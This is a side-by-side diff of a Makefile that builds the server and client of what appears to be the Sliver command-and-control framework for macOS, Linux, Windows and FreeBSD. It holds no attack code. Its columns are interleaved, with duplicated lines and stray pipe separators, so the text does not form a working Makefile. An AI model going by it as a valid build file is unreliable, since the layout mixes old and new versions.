LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||||
|
|
||||||
SED_INPLACE := sed -i
|
SED_INPLACE := sed -i
|
||||||
STATIC_TARGET := linux
|
STATIC_TARGET := linux
|
||||||
|
|
||||||
UNAME_S := $(shell uname -s)
|
UNAME_S := $(shell uname -s)
|
||||||
UNAME_P := $(shell uname -p)
|
UNAME_P := $(shell uname -p)
|
||||||
|
|
||||||
# Programs required for generating protobuf/grpc files
|
# Programs required for generating protobuf/grpc files
|
||||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
|
||||||
ifeq ($(MAKECMDGOALS), pb)
|
ifeq ($(MAKECMDGOALS), pb)
|
||||||
K := $(foreach exec,$(PB_COMPILERS),\
|
K := $(foreach exec,$(PB_COMPILERS),\
|
||||||
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
||||||
endif
|
endif
|
||||||
|
|
||||||
# *** Darwin ***
|
# *** Darwin ***
|
||||||
ifeq ($(UNAME_S),Darwin)
|
ifeq ($(UNAME_S),Darwin)
|
||||||
SED_INPLACE := sed -i ''
|
SED_INPLACE := sed -i ''
|
||||||
STATIC_TARGET := macos
|
STATIC_TARGET := macos
|
||||||
endif
|
endif
|
||||||
|
|
||||||
# If no target is specified, determine GOARCH
|
# If no target is specified, determine GOARCH
|
||||||
ifeq ($(UNAME_P),arm)
|
ifeq ($(UNAME_P),arm)
|
||||||
ifeq ($(MAKECMDGOALS), )
|
ifeq ($(MAKECMDGOALS), )
|
||||||
ifeq ($(origin GOARCH), undefined)
|
ifeq ($(origin GOARCH), undefined)
|
||||||
ENV += GOARCH=arm64
|
ENV += GOARCH=arm64
|
||||||
endif
|
endif
|
||||||
endif
|
endif
|
||||||
endif
|
endif
|
||||||
|
|
||||||
ifeq ($(MAKECMDGOALS), linux)
|
ifeq ($(MAKECMDGOALS), linux)
|
||||||
# Redefine LDFLAGS to add the static part
|
# Redefine LDFLAGS to add the static part
|
||||||
LDFLAGS = -ldflags "-s -w \
|
LDFLAGS = -ldflags "-s -w \
|
||||||
-extldflags '-static' \
|
-extldflags '-static' \
|
||||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||||
endif
|
endif
|
||||||
|
|
||||||
|
#
|
||||||
|
# Targets
|
||||||
|
#
|
||||||
|
.PHONY: default
|
||||||
|
default: clean validate-go-version
|
||||||
|
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
|
||||||
|
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||||
|
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
|
||||||
|
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
|
||||||
|
.PHONY: client
|
||||||
|
client: clean .downloaded_assets validate-go-version
|
||||||
|
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||||
|
|
||||||
|
.PHONY: macos-amd64
|
||||||
|
macos-amd64: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
.PHONY: macos-arm64
|
||||||
|
macos-arm64: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
.PHONY: linux-amd64
|
||||||
|
linux-amd64: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
.PHONY: linux-arm64
|
||||||
|
linux-arm64: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
.PHONY: windows-amd64
|
||||||
|
windows-amd64: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||||
|
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||||
|
|
||||||
|
.PHONY: clients
|
||||||
|
clients: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
|
||||||
|
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
|
||||||
|
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
|
||||||
|
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
|
||||||
|
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
|
||||||
|
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
|
||||||
|
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
|
||||||
|
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
|
||||||
|
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
|
||||||
|
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
.PHONY: servers
|
||||||
|
servers: clean .downloaded_assets validate-go-version
|
||||||
|
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||||
|
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
|
||||||
|
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||||
|
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
||||||
|
|
||||||
|
.PHONY: pb
|
||||||
|
pb:
|
||||||
|
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||||
|
|
||||||
|
.PHONY: debug
|
||||||
|
debug: clean
|
||||||
|
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||||
|
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||||
|
|
||||||
|
validate-go-version:
|
||||||
|
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||||
|
exit 0 ;\
|
||||||
|
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||||
|
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||||
|
exit 1; \
|
||||||
|
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||||
|
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||||
|
exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
.PHONY: clean-all
|
||||||
|
clean-all: clean
|
||||||
|
rm -rf ./server/assets/fs/darwin/amd64
|
||||||
|
rm -rf ./server/assets/fs/darwin/arm64
|
||||||
|
rm -rf ./server/assets/fs/windows/amd64
|
||||||
|
rm -rf ./server/assets/fs/linux/amd64
|
||||||
|
rm -f ./server/assets/fs/*.zip
|
||||||
|
rm -f ./.downloaded_assets
|
||||||
|
|
||||||
|
.PHONY: clean
|
||||||
|
clean:
|
||||||
|
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
|
||||||
|
|
||||||
|
.downloaded_assets:
|
||||||
|
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
|
||||||
|
touch ./.downloaded_assets
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Targets
|
# >>> WINDOWS <<<
|
||||||
#
|
#
|
||||||
.PHONY: default
|
else
|
||||||
default: clean validate-go-version
|
|
||||||
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
|
|
||||||
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
|
||||||
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
|
||||||
|
|
||||||
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
|
SHELL := cmd.exe
|
||||||
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
|
.SHELLFLAGS := /C
|
||||||
.PHONY: client
|
|
||||||
client: clean .downloaded_assets validate-go-version
|
|
||||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
|
||||||
|
|
||||||
.PHONY: macos-amd64
|
GO_VERSION := $(patsubst go%,%,$(strip $(shell $(GO) env GOVERSION)))
|
||||||
macos-amd64: clean .downloaded_assets validate-go-version
|
GO_MAJOR_VERSION := $(word 1,$(subst ., ,$(GO_VERSION)))
|
||||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
GO_MINOR_VERSION := $(word 2,$(subst ., ,$(GO_VERSION)))
|
||||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
|
||||||
|
|
||||||
.PHONY: macos-arm64
|
LDFLAGS = -ldflags "-s -w -X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) -X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) -X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||||
macos-arm64: clean .downloaded_assets validate-go-version
|
|
||||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
|
||||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
|
||||||
|
|
||||||
.PHONY: linux-amd64
|
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) -X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||||
linux-amd64: clean .downloaded_assets validate-go-version
|
|
||||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
|
||||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
|
||||||
|
|
||||||
.PHONY: linux-arm64
|
COMMA := ,
|
||||||
linux-arm64: clean .downloaded_assets validate-go-version
|
|
||||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
ifeq ($(MAKECMDGOALS), linux)
|
||||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
LDFLAGS = -ldflags "-s -w -extldflags '-static' -X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) -X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||||
|
endif
|
||||||
.PHONY: windows-amd64
|
|
||||||
windows-amd64: clean .downloaded_assets validate-go-version
|
define windows_exec
|
||||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
$(strip $(foreach envvar,$(1),set "$(envvar)" && ))$(2)
|
||||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
endef
|
||||||
|
|
||||||
.PHONY: clients
|
define windows_go_build
|
||||||
clients: clean .downloaded_assets validate-go-version
|
$(call windows_exec,$(ENV) GOOS=$(1) GOARCH=$(2) CGO_ENABLED=$(3),"$(GO)" build $(4) $(TAGS)$(COMMA)$(5) $(6) -o $(7) ./$(5))
|
||||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
|
endef
|
||||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
|
|
||||||
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
|
.PHONY: default
|
||||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
|
default: clean validate-go-version
|
||||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
|
$(call windows_exec,$(ENV) GOOS= GOARCH=,"$(MAKE)" GOOS= GOARCH= .downloaded_assets)
|
||||||
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
|
$(call windows_go_build,$(GOOS),$(GOARCH),$(CGO_ENABLED),-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server$(ARTIFACT_SUFFIX))
|
||||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
|
$(call windows_go_build,$(GOOS),$(GOARCH),0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client$(ARTIFACT_SUFFIX))
|
||||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
|
|
||||||
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
|
.PHONY: client
|
||||||
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
client: clean .downloaded_assets validate-go-version
|
||||||
|
$(call windows_go_build,$(GOOS),$(GOARCH),0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client)
|
||||||
.PHONY: servers
|
|
||||||
servers: clean .downloaded_assets validate-go-version
|
.PHONY: macos-amd64
|
||||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
macos-amd64: clean .downloaded_assets validate-go-version
|
||||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
|
$(call windows_go_build,darwin,amd64,$(CGO_ENABLED),-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server$(ARTIFACT_SUFFIX))
|
||||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
$(call windows_go_build,darwin,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client$(ARTIFACT_SUFFIX))
|
||||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
|
||||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
.PHONY: macos-arm64
|
||||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
macos-arm64: clean .downloaded_assets validate-go-version
|
||||||
|
$(call windows_go_build,darwin,arm64,$(CGO_ENABLED),-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server$(ARTIFACT_SUFFIX))
|
||||||
.PHONY: pb
|
$(call windows_go_build,darwin,arm64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client$(ARTIFACT_SUFFIX))
|
||||||
pb:
|
|
||||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
.PHONY: linux-amd64
|
||||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
linux-amd64: clean .downloaded_assets validate-go-version
|
||||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
$(call windows_go_build,linux,amd64,$(CGO_ENABLED),-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server$(ARTIFACT_SUFFIX))
|
||||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
$(call windows_go_build,linux,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client$(ARTIFACT_SUFFIX))
|
||||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
|
||||||
|
.PHONY: linux-arm64
|
||||||
.PHONY: debug
|
linux-arm64: clean .downloaded_assets validate-go-version
|
||||||
debug: clean
|
$(call windows_go_build,linux,arm64,$(CGO_ENABLED),-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server$(ARTIFACT_SUFFIX))
|
||||||
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
$(call windows_go_build,linux,arm64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client$(ARTIFACT_SUFFIX))
|
||||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
|
||||||
|
.PHONY: windows-amd64
|
||||||
validate-go-version:
|
windows-amd64: clean .downloaded_assets validate-go-version
|
||||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
$(call windows_go_build,windows,amd64,$(CGO_ENABLED),-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server$(ARTIFACT_SUFFIX).exe)
|
||||||
exit 0 ;\
|
$(call windows_go_build,windows,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client$(ARTIFACT_SUFFIX).exe)
|
||||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
|
||||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
.PHONY: clients
|
||||||
exit 1; \
|
clients: clean .downloaded_assets validate-go-version
|
||||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
$(call windows_go_build,darwin,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_macos-amd64$(ARTIFACT_SUFFIX))
|
||||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
$(call windows_go_build,darwin,arm64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_macos-arm64$(ARTIFACT_SUFFIX))
|
||||||
exit 1; \
|
$(call windows_go_build,linux,386,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_linux-386$(ARTIFACT_SUFFIX))
|
||||||
fi
|
$(call windows_go_build,linux,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_linux-amd64$(ARTIFACT_SUFFIX))
|
||||||
|
$(call windows_go_build,linux,arm64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_linux-arm64$(ARTIFACT_SUFFIX))
|
||||||
.PHONY: clean-all
|
$(call windows_go_build,windows,386,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_windows-386$(ARTIFACT_SUFFIX).exe)
|
||||||
clean-all: clean
|
$(call windows_go_build,windows,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe)
|
||||||
rm -rf ./server/assets/fs/darwin/amd64
|
$(call windows_go_build,windows,arm64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe)
|
||||||
rm -rf ./server/assets/fs/darwin/arm64
|
$(call windows_go_build,freebsd,amd64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX))
|
||||||
rm -rf ./server/assets/fs/windows/amd64
|
$(call windows_go_build,freebsd,arm64,0,-mod=vendor -trimpath,client,$(LDFLAGS),sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX))
|
||||||
rm -rf ./server/assets/fs/linux/amd64
|
|
||||||
rm -f ./server/assets/fs/*.zip
|
.PHONY: servers
|
||||||
rm -f ./.downloaded_assets
|
servers: clean .downloaded_assets validate-go-version
|
||||||
|
$(call windows_go_build,windows,amd64,0,-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe)
|
||||||
